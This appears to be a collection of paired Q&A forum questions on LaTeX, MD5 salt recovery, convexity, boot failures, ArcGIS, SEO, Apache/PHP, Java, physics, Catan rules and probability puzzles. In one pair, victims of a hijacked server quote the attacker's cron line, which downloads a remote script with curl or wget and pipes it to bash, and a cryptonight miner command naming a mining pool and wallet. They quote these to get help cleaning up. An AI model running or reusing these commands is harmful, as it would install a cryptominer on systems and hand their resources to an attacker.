I am looking at TeX as an output format similar to PDF that describes the page sufficiently, but with all tokens resolved (more like going from Postscript to PDF). This format should also indicate all the places where the linebreaks and pagebreaks are present as requested in a . To put it more aptly, you could say that I am looking at TeX version of DVI which can reproduce the same DVI (though not necessarily identical).

Is it possible to have LaTeX (or another program) to expand a the macros in a .tex file, and output the expanded LaTeX source?   If no such program exists: are LaTeX macros processed simply as string substitutions, before the document is interpreted? If so, it might be easy enough to write my own such converter.  Edit: The reason I ask is journals which don't accept LaTeX submissions with macros. It would be useful to be able to develop with my usual macros, and convert automatically to the 'macro-expanded' format for submission.


I have STRING and MD5(STRING+SALT) for any infinitely many STRING's. Is their any way that I can recover the SALT itself? (SALT is constant) I actually know SALT, but this is an intellectual exercise.  Also, I know that the salt is of length 21 and consist of lowercase letters and digits. So there are 36^21 possibilities to enumerate if I just try brute force testing all of the possibilities, which is clearly unreasonable.

I have a MD5 hash which is obtained by hashing certain strings appended by a pipe character ( | ). (I know the values of these) A secret key is added as a suffix to this (I don't know the secret key). My question is, is it possible to crack the secret key if the resulting hash and the hash without the secret key is known?


Recently I encountered two problems:  Notation: For $f:S\to \mathbb{R}$, where $S\subset \mathbb{R}$, if $f$ is continuous on $S$, then denote $f\in \mathcal{C}(S)$.        Suppose $f:(a,b)\to \mathbb{R}$ is such that at every point in $(a,b)$ the single side limit of $f$ exists, and that $$f(\frac{x+y}{2})\leqslant \frac{f(x)+f(y)}{2},\; \forall x,y \in (a,b).$$ Show that $f\in \mathcal{C}(a,b)$.   Suppose $f:(a,b)\to \mathbb{R}$ is such that $$f[\lambda x_1+(1-\lambda)x_2]\leqslant \lambda f(x_1)+(1-\lambda)f(x_2),\; \forall x_1,x_2\in (a,b),\forall \lambda \in (0,1).$$ Show that $f\in \mathcal{C}(a,b)$.      I found them a bit alike, and then I came up with the following question:     Suppose $f:I\to \mathbb{R}$, where $I$ is an interval, is such that $$f(\frac{x+y}{2})\leqslant \frac{f(x)+f(y)}{2},\; \forall x,y \in I.$$   Is it possible that $f\notin \mathcal{C}(I)$?   I've tried both proving and disproving the statement but failed. My guess is a counterexample exists. Please help.

Rudin's Real and Complex Analysis Chapter 3 Exercise 4 is:  Assume that $\varphi$ is a continuous real function on $(a,b)$ s.t. $$\varphi\left(\frac{x+y}{2}\right)\leq \frac{\varphi(x)+\varphi(y)}{2}$$ for all $x,y\in(a,b)$. Prove that $\varphi$ is convex.   The conclusion does not follow if continuity is omitted from the hypotheses.  My question is, is there some way to explicitly construct a counterexample such that  $\varphi\left(\frac{x+y}{2}\right)\leq \frac{\varphi(x)+\varphi(y)}{2}$ for all $x,y\in(a,b)$, but $\varphi$ is not convex?


$$\log_x y = z$$  $x$ is the base.  $z$ is the exponent or power.  What's $y$ called?

In $b^a = x$, $b$ is the base, a is the exponent and $x$ is the result of the operation. But in its logarithm counterpart, $\log_{b}(x) = a$, $b$ is still the base, and $a$ is now the result. What is $x$ called here? The exponent?


I installed Ubuntu after installing Windows 10 on my system. After the installation, my BIOS/UEFI can not boot. No boot device is found, although I loaded up the boot manager and selected the right drive.  I think that my problem is that I installed Ubuntu and Windows on the same drive and now my system does not know how to boot up. I cannot boot into any system. But if I try to install Ubuntu again, I can get to the the point where I have to create new partitions. It clearly says Windows 10 and Ubuntu, so why can I not boot? I do not have access to any OS.  Edit: I did some research and found out that my bootloader is probably corrupted. I am fairly new to OS-installation in general (I have found a different article regarding my problem, but could not figure out how to solve it).  Edit2: Your recommended software did not work for me.

Hardware:  I've got an SSD (c),an internal HDD (d), an external HDD (e) and a USB flash drive (f).   How this all went down:   I downloaded Ubuntu and used a program to install it on my (F) drive. I reset my computer, ran the (F) drive for boot, and installed Ubuntu. I reset my computer, and it forcibly automatically booted into Windows 10 instead of Ubuntu. I went into Windows 10, and used a program called Easy BCD, by NeoSmart. I followed their guide, but after step 6, it wasn't the same for me. Their guide said that upon rebooting, I should see a grub screen that lets me choose between Windows/Linux and a few other options, however my computer would only boot into Windows 10.  I decided to follow the rest of the guide regardless, however by the end it would let me boot 'windows' or 'linux', but the linux option would always break. It went to a screen with lots of commands, that I thought -may- be a barebones Linux or something, but it definitely wasn't Ubuntu.  I decided to reinstall Ubuntu using the USB flash drive. Upon resetting, no matter what hard drive or format I select for booting (besides the F drive), it says An operating system wasn't found. Try disconnecting any drives that don't contain an operating system. I can boot the F drive and run Ubuntu, but it's a one time version that doesn't save any of my data. When I went into the installation, it still says that I already have Ubuntu installed on the 4TB HDD and that I have Windows 10 installed on the SSD, however I cannot seem to boot into either of them.   TLDR: Windows 10/Ubuntu are both installed, Windows on the internal SSD and Ubuntu on the external HDD. Ubuntu's installation program on the (F) drive recognizes them, however, when I try to boot anything it says An operating system wasn't found.   When I press F11 and force it to boot from the SSD it says:  error: no such device: 83b6c64d-9a2c0467b-a02c-6374ee6ac3dc.  error: unknown filesystem. Entering rescue mode. . .  grub rescue> _   and it will allow me to type some commands.


I have tried all of below snippets to use Python Parser in Field Calculator and update the values of a field called type based on a filed called MamerMN but in all of them I am getting Syntax error in Geoprocessing result window!  if !MamerMN! <= 0.151560:     return 1   and   if (!MamerMN! <= 0.151560):     return 1   and  if (MamerMN <= 0.151560):     return 1   and   def(MamerMN) if MamerMN <= 0.151560:     return 1   and  def(MamerMN) if (MamerMN <= 0.151560):     return 1   Can you please let me know what I am doing wrong?  Update  def foo(MamerMN):   if MamerMN <= 0.151560:      return 1

I have no experience with Field Calculator in ArcGIS 10.  I have a very simple calculation I would like to perform that I could do easily via pure SQL but just can't seem to get my head around it in the Field Calculator.  I have a table of 5000 weeds of which there are around 10 types.  I want to update one field in the table (called CLASS) to be either A, B, or C depending on another field: WEED_NAME  So, if WEED_NAME = 'Hyptis' then Class = 'A'     else if WEED_NAME = 'Parkinsonia' then Class = 'B'  etc


I have a SaaS platform where people can create their own white labeled job boards.  My main product domain is www.myproductdomain.com  When clients sign up they automatically get clientname.myproductdomain.com. They can also choose to use a custom domain by setting up a CNAME.  At the bottom of every white labeled site is a link back to my main site "Powered by My Product Name".  Should I consider making these nofollow links?  I have around 1600 clients using the product at the moment.

I read somewhere that web designers' habit of placing a default "follow" link in the footer of their client websites is bad for SEO.  Is this true?  If so, should we use rel="nofollow" instead.  I have seen rel="designer" in some free WordPress themes.


I have been through multiple threads on Ask Ubuntu and other sites with no success.  Apache 2.4.43 is installed and working.  PHP 7.4 is installed and php -v and running php -r "phpinfo();" indicates php is running correctly as well, but opening either an .html file or .php file in Chrome either shows a blank page or the source code, not the intended output, indicating Apache is not executing php scripts. I have reinstalled multiple times, including a complete purge and reinstall of both apache2 and PHP with identical results, tried adding <FilesMatch> lines to apache2.conf, and many other items found in similar posts to apache2.conf, all to no avail.  I have on previous Ubuntu systems run Apache and PHP fine, but this time no luck.

I've tried to install PHP and Apache2, however when I access the file, it just shows a blank page.  I've installed the packages php, apache2, php-mysql (and some others)  I've already tried pretty much everything that I could find on the Internet.  I'm sorry if I'm not providing enough info, I will give any info that I can.


I set up the render and have tried multiple 'write' locations...hell I even tried to send the output .png to the desktop...no joy...renders 1/2 an hour and I still can't locate a file. Help please.

I usually am able to render successfully to the c:\tmp folder, but when I came into work today, I rendered out the image on my work laptop, and everything seems to work, but I'm not getting an output to the tmp directory.  Does anyone know how to make this work?


I see some codes that have method implementation as  public void setVariables(final int value){ this.value=value; }   why is the final keyword used in the parameter.  why not declare  public void setVariables(int value){ this.value=value; }   I understand that for classes defined inside methods that access method parameters, they have to declared final  what exactly is the benefit of having final keyword in parameter ?

I've found a couple of references () that suggest using final as much as possible and I'm wondering how important that is. This is mainly in the the context of method parameters and local variables, not final methods or classes. For constants, it makes obvious sense.  On one hand, the compiler can make some optimizations and it makes the programmer's intent clearer. On the other hand, it adds verbosity and the optimizations may be trivial.  Is it something I should make an effort to remember?


This is a sum in a reference book( H.C. Verma, concepts of phycics). A dielectric slab is being inserted in a parallel plate capacitor as shown in the diagram. The width of the plates is given to be $b$. We need to find the force exerted by the capacitor on the slab. The solution given in the book is as follows: As voltage across the capacitor is same, the two sections are in parallel $\therefore c = c_1 + c_2 =\frac {\epsilon_0 b} {d} [l + x(k-1)]$ $ U=\frac 1 2 cV^2$ $F=-\frac {dU}{dx} = -\frac {V^2}{2} \frac {dc}{dx} = -\frac {\epsilon_0 b V^2(K-1)}{2d}$ I have some doubts about this solution. Firstly, the force is independant of $x$ which is a bit weird. We can see that the force is zero when $x=l$. Thus, the potential energy should have a maxima at $x=l$, which isn't seen here. Secondly, the charge on the plates is continuously changing, so current is flowing from the battery. Thus, there should be some heat that is generated, which is not taken into account.

In the book Principles of Physics by Resnick Halliday: The decrease in Potential energy of a parallel plate capacitor due to a dielectric is because the slab would start to oscillate and the energy would transfer back and forth between the kinetic energy of the moving slab and potential energy stored in the electric field. First of, can somebody provide me the math of the SHM and could somebody explain why it would become the potential of the capacitor i.e. the electric field and not the potential of the slab? As the slab is doing SHM, shouldn't the slab(and not the capacitor) have potential energy at one point of time and kinetic at another like a spring? If the SHM is because of the electric field due to the conducting plates in capacitors, won't they always be in one direction (Plus, it's magnitude is not even a function of distance!)? Could someone be kind enough to provide the math and the reason for Potential and Kinetic Energy transfer question?


I ran into this situation. I had helped out a player by not placing the robber on them with my knight card. To sweeten the deal, she agreed to give me 1 wood + 1 hay in exchange for 1 wood. Is this legal?  The board mentions that trading 1 wood for 2 wood is illegal, but is 1 wood + 1 hay considered legal?

Motivation: I once had one surplus card on my hand, and knew the robbers would come soon. So I gave it to someone for free, to avoid losing more cards when they hit. I was surprised by how badly this was received. Two of the three other players (the hosts of the game) acted upset, like I had tried to cheat. I had to take the card back, get robbed the next turn and 'giving cards away for free' was banned immediately. (Oh, how I hate mid-game additions to the rules. But that's beside the point.)  So now the question: Is this really illegal in Settlers of Catan? Is it generally considered underhanded in any way? If so, why?   My reasoning was like this:        Consider players A and B.   A wants to give B a sheep.   A trades a sheep and one rock to B, in exchange for wheat.   A trades the received wheat for the (formerly his) rock.   A and B now both have the same resources they had in the beginning, only the sheep has moved from A to B.


Each succeeding person takes his own hat if it is not taken. If it is taken, he picks a hat at random from the remaining hats. What is the probability that the last person gets their own hat?  I'm just a college student trying to make my way in life. This is a homework question, so I'd appreciate some hints! Thank you all very much.  What I've attempted so far: I tried to make a conditional probability tree for all the possibilities that Mark could have. I.e., he could pick the first guest's hat, the second guest's hat, etc., or he could pick his own hat, with each 'branch' having probability $\frac{1}{100}$.  Then the first guest would have 99 hats to choose from. If Mark picked out the first guest's hat, then the first guest has $\frac{1}{99}$ probability of choosing any hat from the remaining. (or, $\frac{1}{99}$ probability of choosing the last hat).  Continuing on this logic, I thought that the probability that the last guest doesn't get their hat would be the sequence $\frac{1}{100} + \frac{1}{100 * 99} + \frac{1}{100 * 99 * 98}$ and so on and so forth.  i.e P(the last person does not get their hat) = ${1} - \sum_{k=0}^{100} \frac{k!}{100!}$   I know this is wrong, because just because an nth guest gets their own hat does not mean that the last guest gets theirs, if I'm making any sense.

This is a neat little problem that I was discussing today with my lab group out at lunch. Not particularly difficult but interesting implications nonetheless  Imagine there are a 100 people in line to board a plane that seats 100. The first person in line realizes he lost his boarding pass so when he boards he decides to take a random seat instead. Every person that boards the plane after him will either take their "proper" seat, or if that seat is taken, a random seat instead.  Question: What is the probability that the last person that boards will end up in his/her proper seat.  Moreover, and this is the part I'm still pondering about. Can you think of a physical system that would follow this combinatorial statistics? Maybe a spin wave function in a crystal etc...


Hello everyone,                My machine has been hijacked by a bitcoin miner. he has a cron job that runs every 2 seconds. Using crontab -e to delete it doesn't work because it respawns soon after. I can't edit it with either nano or vi editor because each time I try he has some code running that kills the either editor as soon as I open them. Below is his cron job:  */30 * * * *    (curl -s http://192.210.175.103/mr.sh||wget -q -O - http://192.210.175.103/mr.sh)|bash -sh   The job is being run from /tmp but the originating file keeps changing. Please any ideas on how to fix this? Thanks

I found malware on my ec2 instance which was continuously mining bitcoin and using my instance processing power. I successfully identified the process, but was unable to remove and kill it.  I ran this command  watch "ps aux | sort -nrk 3,3 | head -n 5"  It shows the top five process running on my instance, from which I found there is a process name 'bashd' which was consuming 30% of cpu.  The process is   bashd -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x   I killed this process by using the kill -9 process_id command. After 5 seconds, the process started again.


W: Error de GPG: http://old-releases.ubuntu.com/ubuntu maverick Release: Las siguientes firmas no fueron válidas: 630239CC130E1A7FD81A27B140976EAF437D05B5 E: El repositorio «http://old-releases.ubuntu.com/ubuntu maverick Release» no está firmado.

There are now errors when updating and I cannot install most software due to a corrupted  /etc/apt/sources.list   file. Is there a copy I can download to replace it?  The file would be for Ubuntu 12.04 (Final Beta) in the United States.


A strange problem occurred after a MiKTeX update: the \emph command stopped working properly and has to be tweaked manually. The following MWE produces upright characters where italics are expected. I have to uncomment the tweak to make things work. Any ideas what the cause could be?  \documentclass[a4paper,oneside,12pt]{article} \usepackage{mathspec} \makeatletter %\@ifundefined{emfontdeclare}{}{\emfontdeclare{\itshape,\upshape,\itshape}} \makeatother \def\mainfont{Adobe Text Pro} \setallmainfonts[Ligatures=TeX]{\mainfont}  \begin{document}  \emph{test-emph \emph{test-emph-emph \emph{test-emph-emph-emph}}} {\itshape test-itshape}  \end{document}

Compiling with either XeLaTeX or LuaLaTeX, \emph{} no longer displays text as expected, i.e. in italics. \textit{} works fine. Here is a MWE demonstrating the issue.  \documentclass{article}  \usepackage{fontspec}  \begin{document}      \emph{lorem ipsum}      \textit{lorem ipsum}  \end{document}   Here is the output I get :   I have TeXLive 2016 (MacTeX) installed. I updated it an hour ago with sudo tlmgr update --self --all.  I guess there is something wrong but what ? I'd be happy to have some help. Thank you.


I have this question here:  I chose 500 then before accepting decided that was too much and halfed it, but now I just want the answer so I'd like to raise it to 500 but I can't find how to it. Also it's just such an irritating problem that I'd give all my rep away if I could to the clever person who has the answer. It would be nice to have a few minutes after creating the bounty to be able to raise it. But for now could a mod or something please raise it for me to 500.

I posted a question with a bounty reward of 50. Can I edit it to make it 100?